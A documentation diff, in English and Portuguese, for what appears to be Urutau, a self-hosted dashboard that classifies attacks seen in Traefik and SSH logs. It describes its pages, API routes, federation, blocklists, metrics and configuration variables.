<p align="center"><img src="img/live-globe-dark.png" width="900" alt="Live page on the 3D globe"><br><sub>Live: 3D globe.</sub></p>
<p align="center"><img src="img/replay-dark.png" width="900" alt="Replay page: a period replayed on the map with the ordered event list and the incident timeline"><br><sub>Replay: a period played back, with incidents on the timeline.</sub></p>
- **Traffic:** privacy-friendly web analytics for legitimate traffic, built from the same Traefik log: unique visitors, pages, referrers, countries, browsers, operating systems, devices, response latency (p50 and p95), bytes sent and a world map of visitor countries, per domain. Unique visitors are counted by a hash with a daily salt; the IP of a legitimate visitor is never stored. See [SECURITY.md](../SECURITY.md).
<p align="center"><img src="img/traffic-dark.png" width="900" alt="Traffic page: web analytics of legitimate visitors"><br><sub>Traffic: privacy-friendly web analytics.</sub></p>
- **IPs:** a table with score, level (`hostile`, `suspicious`, `low`), categories, hosts, reverse DNS, country, city and ASN, last seen and ban state, with a search box (IP or reverse DNS), a level filter, a "banned only" filter, sorting and paging. The detail drawer shows first and last seen, per-category counts, sample paths, User-Agents (parsed into browser, OS, device, bot or attack tool), domains, users and jails.
<p align="center"><img src="img/ips-dark.png" width="900" alt="IPs page: table of addresses with score, level, origin and ban state"><br><sub>IPs: every address with score and level.</sub></p>
<p align="center"><img src="img/ip-analysis-dark.png" width="900" alt="IP analysis page for one attacker"><br><sub>IP analysis: verdict, evidence and recommended actions.</sub></p>
- **IP analysis** (`#/ip/<ip>`, opened from any IP): the verdict with its reasons, recommended actions, attack families and MITRE ATT&CK techniques, network type, cadence, sessions with their stage, campaigns, exposure, the event history and a STIX 2.1 download.
- **Replay** (`#/replay`): a period played back on the map with the ordered event list and the incident timeline, from the event registry.
- **Sources and hosts:** every instance with its state (online, latency, version), every log source with its state (`following`, `waiting`, `backfill`, `error`), lines read, malformed lines and last event (file paths are not shown), and the **blocklist**: pick a minimum score (default 50), copy or download it. It only lists hostile, globally routable addresses (never `--ignore` or `--trusted` ranges, never an IP with a successful SSH login); IPv6 appears as its /64, written `x:x:x:x::/64`.
<p align="center"><img src="img/sources-dark.png" width="900" alt="Sources and hosts page: instances, log sources and blocklist"><br><sub>Sources and hosts.</sub></p>
<p align="center"><img src="img/overview-light.png" width="620" alt="Overview in the light theme"> <img src="img/overview-mobile.png" height="420" alt="Overview on a phone"><br><sub>The light theme on a desktop and the phone layout (a tab bar replaces the side rail).</sub></p>
## Page groups
The side rail groups the pages:
- **Monitor:** Overview, Live, Services (per-service SLO, error budget, burn rate and Apdex; `#/slo`).
- **Investigate:** IPs, Sessions (the funnel from recon to access), Campaigns (and a page per campaign), Replay and Event search.
- **Analyze:** Threats, MITRE ATT&CK (techniques seen and when first seen), Geography, Evolution (change over time), Concentration (how much comes from few IPs or ASNs), Survival (time to ban, Kaplan-Meier), Traffic, Where errors come from (classes `app`, `proxy`, `blocked`, `attack`, `bot`, `client`, `unknown`) and Protocols and TLS (HTTP versions and TLS versions in use).
- **Operate:** Defense (ban and blocklist coverage and leaks), Sources and hosts, Integrity (health of the data: sources, registry, snapshot).
- **Reports:** a summary of a period, from `GET /api/v1/report`.
## Glossary and tooltips
A small **"?"** button sits next to metrics, categories and column titles. It is keyboard focusable and opens a short explanation (what the figure means) and a "what to do" line, in English or Portuguese. The text comes from one central glossary, so the same term reads the same on every page.
## Attribution
IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). The credit also appears in the footer of the dashboard.
State and city boundaries on the Geography page are from [Natural Earth](https://www.naturalearthdata.com), public domain. IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). The credit also appears in the footer of the dashboard.
## HTTP routes
@@ -41,13 +80,35 @@ IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](ht
| `GET /api/health` | none | `{"status":"ok"}` |
| `GET /login`, `POST /login`, `POST /logout` | none | session |
| `GET /` and the static files | session | the dashboard |
| `GET /api/v1/summary` | session or bearer | everything the dashboard shows. Query: `range` (`1h`, `24h`, `7d`), `host` (`all`, a name) |
| `GET /api/v1/summary` | session or bearer | everything the dashboard shows. Query: `range` (any named range) or `from` and `to`, `host` (`all`, a name) |
| `GET /api/v1/traffic` | session or bearer | web analytics of legitimate traffic. Query: `range`, `domain` (`all` or one domain), `host`. Returns visitors, pages, requests, bots, bytes, status classes, `p50_ms`, `p95_ms`, a timeline, top pages, referrers, countries, cities, browsers, operating systems, devices and bot names |
| `GET /api/v1/peer/export` | peer token only | federation: `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail. Query: `range` (`1h`, `24h`, `7d`). Cached for 5 s. 404 when no peer token is set, 401 for `URUTAU_TOKEN`, 403 from a source outside `--peer-allow` |
| `GET /api/v1/geo` | session or `URUTAU_TOKEN` | attacker geography. Without `cc`: `{"countries":[{"cc","events","ips","hostile","suspicious","cats"}]}` (up to 250). With `cc=XX` (and optionally `region`): `{"cc","events","ips","hostile","suspicious","cats","regions":[...],"cities":[{"name","region","lat","lon","events","ips"}],"top_ips":[...]}` (64 regions, 200 cities, 50 IPs). Query: `range`, `host`. Cached for 5 s |
| `GET /api/v1/live/recent` | session or `URUTAU_TOKEN` | `{"events":[...]}`: the latest malicious events of this instance and its peers, newest first, in the stream format. Query: `limit` (default 200, at most 500) |
| `GET /api/v1/peer/stream` | peer token only | live federation: server-sent malicious events of this instance. At most 10 connections; same 404/401/403 rules as the export |
| `GET /api/v1/peer/export` | peer token only | federation: `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail. Query: `range` or `from`/`to`. Cached for 5 s. 404 when no peer token is set, 401 for `URUTAU_TOKEN`, 403 from a source outside `--peer-allow` |
| `GET /api/v1/events` | session or bearer | events of the registry, newest first. Query: `range` or `from`/`to`, `host`, `ip`, `cat`, `fam`, `q`, `order`, `limit`, `cursor` |
| `GET /api/v1/events/sessions` | session or bearer | sessions (bursts with a stage) of the period, optionally for one `ip` |
| `GET /api/v1/period` | session or bearer | the study of a period: sessions, campaigns, first-seen techniques, escalations, spikes, new vs returning, top targets, families, techniques, users and ASNs. Query: `range` or `from`/`to`, `host`, `gap` (seconds between sessions, 30 to 86400) |
| `GET /api/v1/period/events` | session or bearer | the events of a period in the stream format, for replay |
| `GET /api/v1/metrics` | session or bearer | stable metrics (see [architecture.md](architecture.md)). Query: `range` or `from`/`to`, `host` |
| `GET /api/v1/ip/{ip}/stix` | session or bearer | STIX 2.1 bundle of one IP |
| `GET /api/v1/peer/period` | peer token only | federation: the study a hub merges. At most two at once (503 with `Retry-After` otherwise) |
| `GET /api/v1/techniques` | session or bearer | MITRE ATT&CK techniques seen in the period |
| `GET /api/v1/evolution`, `/concentration`, `/survival` | session or bearer | analytics of the period: change over time, concentration by IP and ASN, and time to ban with the Kaplan-Meier curve |
| `GET /api/v1/sessions/funnel` | session or bearer | sessions by stage (recon, probe, exploit, access, banned) |
| `GET /api/v1/campaigns`, `/api/v1/campaigns/{id}` | session or bearer | campaigns of the period, and one campaign with its IPs |
| `GET /api/v1/defense` | session or bearer | ban and blocklist coverage and leaks |
| `GET /api/v1/errors` | session or bearer | errors by class (`app`, `proxy`, `blocked`, `attack`, `bot`, `client`, `unknown`) |
| `GET /api/v1/integrity` | session or bearer | health of the data: sources, registry, snapshot |
| `GET /api/v1/report` | session or bearer | summary of a period (requests, attacks, hostile IPs, bans, visitors, non-human clients, page views, top IPs) |
| `GET /api/v1/services`, `/api/v1/services/{svc}` | session or bearer | per-service SLI, SLO, error budget, burn rate and Apdex |
| `GET /api/v1/protocols` | session or bearer | HTTP and TLS versions in use |
| `GET /api/v1/ips` | session or bearer | IP table. Query: `range`, `host`, `min_score`, `level`, `q`, `banned=1`, `sort` (`score`, `last`, `first`, `events`, `ip`), `order=asc`, `per` (1 to 200, default 50), `page` |
| `GET /api/v1/ip/{ip}` | session or bearer | detail of one IP, merged with the peers' exports |
| `GET /api/v1/events/stream` | session or bearer | Server-Sent Events, event `ev`, a ping every 20 s |
| `GET /api/v1/ip/{ip}` | session or bearer | summarized analysis of one IP: verdict with reasons, actions, families, techniques, network type, cadence, sessions and exposure; merged with the peers. Query: `range` or `from`/`to` (default 30d) |
| `GET /api/v1/events/stream` | session or bearer | Server-Sent Events, event `ev`, a ping every 20 s. With `visits=1` it also sends anonymous `visit` events (no address, at most 20 per second) |
| `GET /api/v1/blocklist.txt` | session or bearer | one IP per line. Query: `min_score` (default 50), `range` (default `7d`), `host`, `family` (`4`, `6`; default both; `4` suits `ipset hash:ip`), `download=1` |
| `GET /api/v1/blocklist.json` | session or bearer | `{"generated","min_score","count","ips":[{"ip","score","last","hosts"}]}`; the `ip` of an IPv6 entry is a `/64` prefix |
API clients send `Authorization: Bearer <URUTAU_TOKEN>`. The peer token is accepted only by `/api/v1/peer/export`; every other route answers 403 to it.
An invalid `range` or period answers 400, and `range` in the responses is an object `{name,from,to,step,clipped}` (`step` is the timeline granularity in seconds).
API clients send `Authorization: Bearer <URUTAU_TOKEN>`. The peer token is accepted only by `/api/v1/peer/export`, `/api/v1/peer/stream` and `/api/v1/peer/period`; every other route answers 403 to it.
+98 -5
View File
@@ -10,7 +10,9 @@ internal/app flags, ligação das peças, runner dos logs, doctor
internal/tail seguidor de arquivo que tolera rotação e leitor de rotacionados
internal/core modelo de evento, parsers (Traefik, sshd, fail2ban), classificador
internal/store estado em memória, resumos, merge, snapshot
internal/rdns cache de DNS reverso
internal/rdns cache de DNS reverso e DNS reverso confirmado
internal/evlog registro de eventos em disco
internal/intel famílias, MITRE, tipo de rede, cadência, sessões, campanhas, vereditos, STIX, métricas
internal/fed hub que consulta os peers
internal/server handler HTTP, autenticação, dashboard embutido (web/)
```
@@ -83,19 +85,110 @@ Eventos de uma origem confiável (`--trusted`, mais as faixas privadas de `--ign
## Web analytics
Requisições benignas (`ok`, e os `notfound` que não são varredura) também alimentam a visão Tráfego. Um domínio só ganha vaga depois de uma resposta 2xx (e `--domains` pode restringi-los a uma lista), domínios inativos são podados e o top de páginas normaliza segmentos com cara de token para `:id`: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais, dispositivos, latência (p50 e p95) e bytes. Um visitante único é um hash calculado com um sal que gira todo dia, então não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. O tráfego de ataque fica na visão Ameaças, onde o IP é o assunto. Requisições de monitoramento ficam fora das duas.
Requisições benignas (`ok`, e os `notfound` que não são varredura) também alimentam a página Tráfego. Um domínio só ganha vaga depois de uma resposta 2xx (e `--domains` pode restringi-los a uma lista), domínios inativos são podados e o top de páginas normaliza segmentos com cara de token para `:id`: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais, dispositivos, latência (p50 e p95) e bytes. Um visitante único é um hash calculado com um sal que gira todo dia, então não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. O tráfego de ataque fica na visão Ameaças, onde o IP é o assunto. Requisições de monitoramento ficam fora das duas.
## Períodos e granularidade
Toda visão recebe um intervalo: uma das doze janelas nomeadas (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) ou um período personalizado com `from` e `to` (segundos unix, no máximo 30 dias, cortado pela retenção; `clipped` indica quando foi). Um intervalo inválido responde 400. As respostas trazem `range` como objeto `{name,from,to,step,clipped}`, em que `step` é a granularidade da linha do tempo em segundos: 60 até 3 horas, 120 até 6, 300 até 12, 900 até 48 horas e 3600 acima disso. Buckets por minuto existem para as últimas 48 horas; dados mais antigos são por hora.
## Classes de erro e campos do Traefik
Além de cliente, caminho, status e User-Agent, o Urutau lê estes campos do access log do Traefik quando presentes: `OriginStatus`, `OriginDuration`, `Overhead`, `OriginContentSize`, `RetryAttempts`, `RouterName`, `ServiceName`, `RequestProtocol`, `RequestScheme`, `TLSVersion` e `TLSCipher`. Com eles todo erro é classificado:
| Classe | Significado |
|---|---|
| `app` | o próprio backend respondeu 5xx |
| `proxy` | o proxy não alcançou o backend, ou o cliente desistiu |
| `blocked` | recusado por um middleware ou limite de taxa antes do app |
| `attack` | a requisição é um ataque (veja as categorias acima) |
| `bot` | um crawler ou ferramenta |
| `client` | um erro comum de cliente (link quebrado, autenticação, entrada inválida) |
| `unknown` | nenhuma das anteriores pôde ser identificada |
## Serviços, SLO e Apdex
As requisições são agrupadas por serviço do Traefik (`ServiceName`, com seu router). Para cada serviço o Urutau guarda contadores por hora por classe de erro e histogramas de latência, e mostra: o **SLI** (parcela das requisições que não terminaram em um erro que conta contra o serviço), o **SLO** (meta de 99,5%), o **orçamento de erro** restante, o **burn rate** em 1 hora e 6 horas (taxa de erro dividida por `1 - SLO`; acima de 1 o orçamento está sendo gasto mais rápido que o permitido) e o **Apdex**. Ataques, requisições bloqueadas e bots não contam contra um serviço. O Apdex usa um limite T de 500 ms (1 s para caminhos de API): uma requisição respondida dentro de T é satisfeita, dentro de 4T tolerada, e um 5xx ou uma mais lenta é frustrada; o Apdex é (satisfeitas + toleradas/2) / total.
## Episódios e sobrevivência
Um **episódio** de ataque é a sequência de atividade de um endereço, encerrada após uma pausa. A partir dos episódios o Urutau mede o tempo entre o primeiro avistamento e o ban e desenha curvas de sobrevivência de **Kaplan-Meier** (a probabilidade de um endereço ainda não estar banido após certo tempo, com endereços nunca banidos tratados como censurados), com a mediana e o percentil 90.
## Visitantes únicos
Um **visitante** é uma pessoa com navegador real: um GET bem-sucedido (2xx) de um documento por um User-Agent de navegador (não bot, ferramenta nem cliente desconhecido), que não seja prefetch e, quando o navegador informa, com `Sec-Fetch-Dest: document`. É contado uma vez por IP por dia UTC, deduplicado globalmente entre domínios (um número por domínio e um total de todos os domínios). A chave é um hash de um sal diário, do IP e do domínio, e deixa o User-Agent de fora de propósito, porque scrapers o trocam a cada requisição a partir de um endereço (uma inflação medida de 2,7 vezes). Todo o resto que fala com um site (bots, ferramentas, User-Agents desconhecidos ou vazios) é contado à parte como **clientes não humanos**.
É por isso que o número difere do analytics do Coolify, que conta todo IP distinto por HyperLogLog sem filtro: bots, scanners e health checks o inflam. O número do Urutau é menor e mais próximo de pessoas.
## Stream de visitas legítimas
`GET /api/v1/events/stream?visits=1` acrescenta eventos anônimos de visita ao stream ao vivo. Uma visita não carrega endereço, User-Agent nem referrer; o lugar é a cidade, com coordenadas arredondadas a uma casa decimal (cerca de 11 km). No máximo 20 eventos de visita por segundo por instância são enviados (o excesso é resumido uma vez por segundo em um lote), e visitas só são transmitidas a assinantes: nunca gravadas no registro de eventos, em um snapshot nem em `live/recent`.
## Registro de eventos
`<data-dir>/events/` guarda uma linha JSON por evento, no mesmo formato do stream ao vivo, um arquivo por dia UTC. O dia corrente recebe appends e é sincronizado a cada 2 segundos; dias anteriores são compactados com gzip. Arquivos mais antigos que a retenção são apagados, e o total é limitado por `--events-max` (512 MB por padrão, `0` desativa o registro). Um dia guarda no máximo 200.000 linhas; acima disso os eventos só são contados.
O que entra: eventos maliciosos (scanner, exploit, bruteforce, ssh-fail, ssh-probe), ban e unban, logins SSH bem-sucedidos, um 404 respondido a uma ferramenta de ataque, e respostas `ok` ou `notfound` só de endereços já suspeitos ou hostis (para mostrar o que receberam). Nunca um visitante legítimo. Eventos repassados por peers são registrados com o nome do peer como host.
Comportamento em falha: disco cheio, o teto de tamanho ou o teto diário descartam eventos (contados, registrados no log no máximo de vez em quando, nunca fatais); uma linha corrompida é ignorada na leitura; uma linha parcial deixada por uma falha anterior é terminada antes da próxima escrita.
## Inteligência
A camada de investigação é calculada a partir da tabela de IPs e do registro, sem API externa:
- **Famílias de ataque** (`traversal`, `log4shell`, `sqli`, `xss`, `rce-injection`, `webshell`, `env-credentials`, `vcs`, `backup`, `wordpress`, `phpmyadmin-db`, `actuator-debug`, `iot-cgi`, `admin-panel`, `generic-404`) e as técnicas **MITRE ATT&CK** a que correspondem.
- **Tipo de rede** a partir do ASN, da organização do AS e do DNS reverso: `vpn`, `research-scanner`, `isp-cn`, `hosting`, `mobile`, `isp/mobile`, `residential`, `unknown`, e `tor` quando o endereço está no arquivo `--tor-exits` (recarregado a cada 24 horas quando muda).
- **Cadência** das requisições de um IP: `automated`, `human-like`, `mixed` ou `insufficient` (menos de 3 requisições).
- **Sessões:** rajadas de um IP separadas por uma pausa (30 minutos por padrão), cada uma com um estágio em severidade crescente: `recon`, `probe`, `exploit`, `access`, `banned`.
- **Campanhas:** pelo menos 3 IPs cujas sessões têm a mesma assinatura (caminhos normalizados parecidos, Jaccard 0,6 ou mais, mesma ferramenta) em uma janela; o id da assinatura é `c-` mais 8 caracteres hexadecimais.
- **Exposição:** uma resposta 2xx a uma requisição em caminho sensível.
- **Veredito com razões**, cada razão um código estável com peso (`exploits_refused`, `tool_ua`, `banned_jail`, `multi_category`, `exposure`, `ssh_login_after_bruteforce`, `admin`, `immune`), e **ações recomendadas** (`block`, `report`, `investigate`, `incident`); administradores e fontes imunes não recebem nenhuma.
- Exportação **STIX 2.1** de um IP (`/api/v1/ip/{ip}/stix`), com ids UUIDv5 determinísticos.
- **Crawlers:** um User-Agent que se diz Googlebot ou Bingbot é confirmado por DNS reverso confirmado; um falso continua sendo atacante.
- Usuários SSH listados em `--admin-users` são marcados como administradores.
## Métricas
`GET /api/v1/metrics` devolve números estáveis (sem taxa por minuto), cada um com seu valor, o valor anterior e um sparkline quando se aplica:
| Métrica | Fórmula |
|---|---|
| `attacks_per_hour_24h` | eventos maliciosos nas últimas 24 h / 24 |
| `moving_avg_7d_per_hour` | eventos maliciosos nos últimos 7 dias / 168 |
| `trend` | variação percentual dos eventos maliciosos no intervalo contra o intervalo anterior do mesmo tamanho |
| `active_attackers_24h`, `_1h` | IPs atacantes vistos nas últimas 24 h, na última hora |
| `new_attackers` | IPs vistos pela primeira vez dentro do intervalo (e do intervalo anterior) |
| `returning_rate` | IPs vistos no intervalo mas vistos antes dele / todos os IPs vistos no intervalo, em percentual |
| `sessions_per_day` | sessões no intervalo / dias do intervalo (pelo menos 1) |
| `exposure_rate` | sessões que receberam resposta de sucesso / sessões, em percentual |
| `exploits_refused_pct` | requisições de exploit respondidas 4xx ou 5xx / requisições de exploit com status, em percentual |
| `mttb` | mediana e percentil 90 do tempo entre o primeiro avistamento e o ban |
| `ban_coverage` | IPs hostis banidos / IPs hostis, em percentual |
| `blocklist_coverage` | IPs hostis listáveis (endereços globais) / IPs hostis, em percentual |
| `blocklist_leak` | IPs hostis nem banidos nem listáveis (uma contagem) |
| `ssh.fails_24h`, `ssh.users_distinct`, `ssh.ok_after_fail` | falhas SSH em 24 h, usuários distintos tentados em 24 h, sessões com falha e depois login bem-sucedido |
| `concentration.top10_ips`, `top5_asns` | parcela dos eventos maliciosos dos 10 IPs mais ativos e dos 5 ASNs mais ativos, em percentual |
Sessões, exposição, exploits recusados e `ok_after_fail` precisam do registro de eventos e leem um número limitado de eventos (`truncated` indica quando a janela foi cortada).
## Estado e persistência
O estado vive em memória: buckets por minuto de 7 dias, listas de top por hora (caminhos, domínios, User-Agents, usuários), uma tabela de até 20.000 IPs (quando cheia, 10% com a menor pontuação são removidos; IPs banidos são mantidos), um feed dos últimos 500 eventos e os bans ativos. `--retention` (1h a 168h) limita quanto tempo os IPs ficam; IPs antigos são podados a cada 10 minutos.
O estado vive em memória: buckets por minuto das últimas 48 horas e dados por hora até 30 dias, listas de top por hora (caminhos, domínios, User-Agents, usuários), uma tabela de até 20.000 IPs (quando cheia, 10% com a menor pontuação são removidos; IPs banidos são mantidos), um feed dos últimos 500 eventos e os bans ativos. `--retention` (1h a 168h) limita quanto tempo os IPs ficam; IPs antigos são podados a cada 10 minutos.
A cada 60 segundos, e no desligamento, o estado é gravado em `urutau-state.gob` no diretório de dados junto com o inode e a posição de cada fonte. Na inicialização ele é restaurado e cada fonte retoma exatamente de onde parou, então um reinício nunca conta um log duas vezes. O snapshot é pulado enquanto um backfill roda. Um snapshot ilegível é movido para `urutau-state.gob.corrupt` e o serviço sobe vazio, lendo os logs de novo (incluindo as cópias rotacionadas).
O processo define um limite suave de memória de 160 MiB, a menos que `GOMEMLIMIT` esteja definido.
O processo define um limite suave de memória de 256 MiB, a menos que `GOMEMLIMIT` esteja definido. O pior caso medido é cerca de 54 MiB de heap e um snapshot de cerca de 27 MB.
## Federação
Um hub é uma instância comum iniciada com `--peer nome=https://url`, e precisa de `URUTAU_PEER_TOKEN`. A cada 15 segundos ele chama `GET /api/v1/peer/export?range=...` de cada peer (para `1h`, `24h` e `7d`) com o token de peer e guarda a última resposta. O export é `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes, em cache de 5 segundos no peer. É a única rota que o token de peer abre. O hub nunca segue redirects, exige `https` fora de loopback, usa timeout de 4 segundos, limita o corpo a 8 MB e sanitiza e limita o que um peer enviar. Um peer que falha é marcado offline e os demais seguem. O seletor de host do dashboard passa a oferecer `all`, o próprio hub e cada peer; resumos, tráfego e tabelas de IPs são mesclados, e cada linha carrega o host de origem.
Um hub é uma instância comum iniciada com `--peer nome=https://url`, e precisa de `URUTAU_PEER_TOKEN`. A cada 15 segundos ele chama `GET /api/v1/peer/export?range=...` de cada peer (para os intervalos de fundo `1h`, `24h`, `7d` e `30d`; qualquer outro intervalo ou período personalizado é buscado sob demanda) com o token de peer e guarda a última resposta. O export é `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes, em cache de 5 segundos no peer. O token de peer abre três rotas: o export, o stream ao vivo e `GET /api/v1/peer/period`, o estudo (sessões, campanhas, métricas) que o hub mescla para um período ou um IP; um peer executa no máximo dois estudos ao mesmo tempo. O hub nunca segue redirects, exige `https` fora de loopback, usa timeout de 4 segundos, limita o corpo a 8 MB e sanitiza e limita o que um peer enviar. Um peer que falha é marcado offline e os demais seguem. O seletor de host do dashboard passa a oferecer `all`, o próprio hub e cada peer; resumos, tráfego e tabelas de IPs são mesclados, e cada linha carrega o host de origem.
### Repasse ao vivo
Além do export, um hub mantém uma conexão `GET /api/v1/peer/stream` aberta por peer (uma assinatura por peer, com o token do próprio peer) e repassa os eventos maliciosos ao vivo para o dashboard. O que vem de um peer é limitado e sanitizado: no máximo cerca de 50 eventos por segundo por peer, linhas de no máximo 16 KB, um buffer dos últimos 500 eventos repassados (servido por `/api/v1/live/recent`) e reconexão com backoff de 1 s até 60 s. Um peer atende no máximo 10 conexões de stream.
### Agregação de geografia
`GET /api/v1/geo` é calculado a partir da tabela de IPs (local e os exports dos peers) combinada com as bases de geolocalização: primeiro os países e, para um país, suas regiões, cidades e principais IPs. Os resultados ficam em cache por 5 segundos, num cache de no máximo 256 chaves.
## Camada HTTP
+7 -3
View File
@@ -32,12 +32,16 @@ O token de acesso nunca é uma flag: `urutau serve` o lê da variável de ambien
| `--peer` | `URUTAU_PEERS` | nenhum | peer `nome=https://url`; repita a flag ou separe a variável por vírgula |
| `--peer-token` | `URUTAU_PEER_TOKEN` | vazio | token compartilhado com os peers; prefira a variável ou `URUTAU_PEER_TOKEN_FILE` (uma flag aparece na lista de processos). Por peer: `URUTAU_PEER_TOKEN_<NOME>` |
| `--admin-users` | `URUTAU_ADMIN_USERS` | vazio | usuários SSH cujo login bem-sucedido mantém o IP fora da blocklist por 24 h; a imunidade fica desligada se não definido |
| `--peer-allow` | `URUTAU_PEER_ALLOW` | vazio | CIDRs de origem autorizados a chamar o export; vazio aceita qualquer origem com o token |
| `--peer-allow` | `URUTAU_PEER_ALLOW` | vazio | CIDRs de origem autorizados a chamar as rotas de federação; vazio aceita qualquer origem com o token |
| `--peer-blocklist` | `URUTAU_PEER_BLOCKLIST` | `on` | `on` lista na blocklist do hub os IPs hostis vistos só pelos peers (pontuação 50+ e sinal forte); `off` restringe a blocklist aos IPs da própria instância |
| `--location` | `URUTAU_LOCATION` | vazio | posição desta instância no mapa, `"lat,lon"` ou `"lat,lon,Rótulo"` |
| `--trusted-proxy` | `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (o compose define `10.250.0.0/24`) | proxies cujo `X-Forwarded-For` é confiável, lido da direita para a esquerda (limite de login, `--peer-allow`) |
| `--retention` | `URUTAU_RETENTION` | `168h` | por quanto tempo os dados ficam (1h a 168h) |
| `--retention` | `URUTAU_RETENTION` | `720h` | por quanto tempo os dados ficam (1h a 720h, ou seja, 30 dias) |
| `--events-max` | `URUTAU_EVENTS_MAX` | `512MB` | teto de tamanho do registro de eventos em `<data-dir>/events`; `0` desliga |
| `--tor-exits` | `URUTAU_TOR_EXITS` | vazio | arquivo com endereços de saída do Tor, um por linha, recarregado a cada 24 h quando muda; vazio desativa |
| `--insecure-no-auth` | nenhuma | desligado | desativa a autenticação; só em bind loopback |
Validação na inicialização: peers devem ser `nome=https://host` (`http` simples só em loopback), `URUTAU_PEER_TOKEN` deve estar definido e ser diferente de `URUTAU_TOKEN`, os nomes devem ser únicos e não podem ser `all` nem o nome da própria instância, `--retention` deve ser de pelo menos 1h e `URUTAU_TOKEN` e todo token de peer devem ter pelo menos 32 caracteres e cerca de 128 bits de entropia estimada; cada peer precisa de um token de cliente (`URUTAU_PEER_TOKEN_<NOME>` ou o geral `URUTAU_PEER_TOKEN` como reserva), e os nomes de peer não podem colidir nesse nome de variável (salvo `--insecure-no-auth` em endereço loopback).
Validação na inicialização: peers devem ser `nome=https://host` (`http` simples só em loopback), `URUTAU_PEER_TOKEN` deve estar definido e ser diferente de `URUTAU_TOKEN`, os nomes devem ser únicos e não podem ser `all` nem o nome da própria instância, `--retention` deve ser de pelo menos 1h (e no máximo 720h) e `URUTAU_TOKEN` e todo token de peer devem ter pelo menos 32 caracteres e cerca de 128 bits de entropia estimada; cada peer precisa de um token de cliente (`URUTAU_PEER_TOKEN_<NOME>` ou o geral `URUTAU_PEER_TOKEN` como reserva), e os nomes de peer não podem colidir nesse nome de variável (salvo `--insecure-no-auth` em endereço loopback).
```bash
export URUTAU_TOKEN=$(openssl rand -base64 48)
+15 -5
View File
@@ -10,7 +10,7 @@ O Urutau não tem arquivo de configuração. Tudo é uma flag com padrão em var
|---|---|
| `URUTAU_TOKEN` | **Obrigatória.** Token de acesso do dashboard e da API: no mínimo 32 caracteres e cerca de 128 bits de entropia estimada (comprimento vezes entropia de Shannon; tokens periódicos ou sequenciais são recusados). Gere um com `openssl rand -base64 48` (`openssl rand -hex 32` também serve; `-hex 16` é recusado pela estimativa de entropia). |
| `URUTAU_TOKEN_FILE` | Caminho de um arquivo com o token (espaços nas pontas são removidos), no lugar da variável. A variável vence quando as duas existem. |
| `URUTAU_PEER_TOKEN` | Opcional. O token de servidor desta instância: o único que o `GET /api/v1/peer/export` dela aceita, e não abre mais nada. Mesmas regras de força do `URUTAU_TOKEN` (32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial), e deve ser diferente dele. Quando esta instância é um hub, também é o token de cliente de reserva enviado aos peers que não têm o seu. |
| `URUTAU_PEER_TOKEN` | Opcional. O token de servidor desta instância: o único que as rotas de federação dela (`GET /api/v1/peer/export` e `GET /api/v1/peer/stream`) aceitam, e não abre mais nada. Mesmas regras de força do `URUTAU_TOKEN` (32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial), e deve ser diferente dele. Quando esta instância é um hub, também é o token de cliente de reserva enviado aos peers que não têm o seu. |
| `URUTAU_PEER_TOKEN_FILE` | Caminho de um arquivo com o token de peer geral. |
| `URUTAU_PEER_TOKEN_<NOME>` e `..._<NOME>_FILE` | A credencial de cliente que um hub envia àquele peer; deve ser igual ao `URUTAU_PEER_TOKEN` do próprio peer. `<NOME>` é o nome do peer em maiúsculas, com todo caractere que não seja letra ou dígito virando `_` (`my-peer` vira `MY_PEER`). Ela **não** abre o export local. Dois nomes de peer que viram a mesma variável (`my-peer` e `my_peer`) são recusados. Um hub com um peer sem token para ele se recusa a iniciar. |
@@ -31,14 +31,18 @@ Guarde os dois no `.env` (nunca versionado) ou no cofre de segredos do seu orque
| `URUTAU_MONITOR_UA` | `(?i)^(Uptime-Kuma/\|Beszel\|Coolify\|kube-probe/\|Go-http-client/.*healthcheck)` | expressão regular de User-Agents de monitoramento |
| `URUTAU_GEO_DIR` | `<data-dir>/geo` | onde ficam as bases DB-IP Lite |
| `URUTAU_GEO_UPDATE` | `24h` | intervalo entre buscas por uma base mais nova; `0` desativa o download |
| `URUTAU_PEER_ALLOW` | vazio | CIDRs autorizados a chamar o export; vazio aceita qualquer origem que tenha o token |
| `URUTAU_PEER_ALLOW` | vazio | CIDRs autorizados a chamar as rotas de federação; vazio aceita qualquer origem que tenha o token |
| `URUTAU_PEER_BLOCKLIST` | `on` | `on`: a blocklist do hub inclui IPs hostis vistos só pelos peers (pontuação 50+ e sinal forte); `off`: só os IPs da própria instância |
| `URUTAU_LOCATION` | vazio | onde esta instância fica no mapa, `"lat,lon"` ou `"lat,lon,Rótulo"` (validado na partida). É o destino dos arcos da página Ao vivo e é repassado ao hub; vazio faz a página usar um destino estimado |
| `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (o compose define `10.250.0.0/24`) | proxies reversos cujo `X-Forwarded-For` é confiável (lido da direita para a esquerda); usado no limite de tentativas de login e em `URUTAU_PEER_ALLOW` |
| `URUTAU_DOMAINS` | vazio | lista de domínios permitidos no analytics, nomes exatos ou `*.exemplo.com`; vazio acompanha todo domínio que responde 2xx; recomendado, na prática obrigatório, quando algum backend responde 2xx para qualquer Host (catch-all ou wildcard), senão Hosts aleatórios podem ocupar as 24 vagas de domínio |
| `URUTAU_MONITOR_FROM` | vazio | CIDRs de onde os monitores realmente vêm; quando definido, o User-Agent de monitoramento só vale vindo deles |
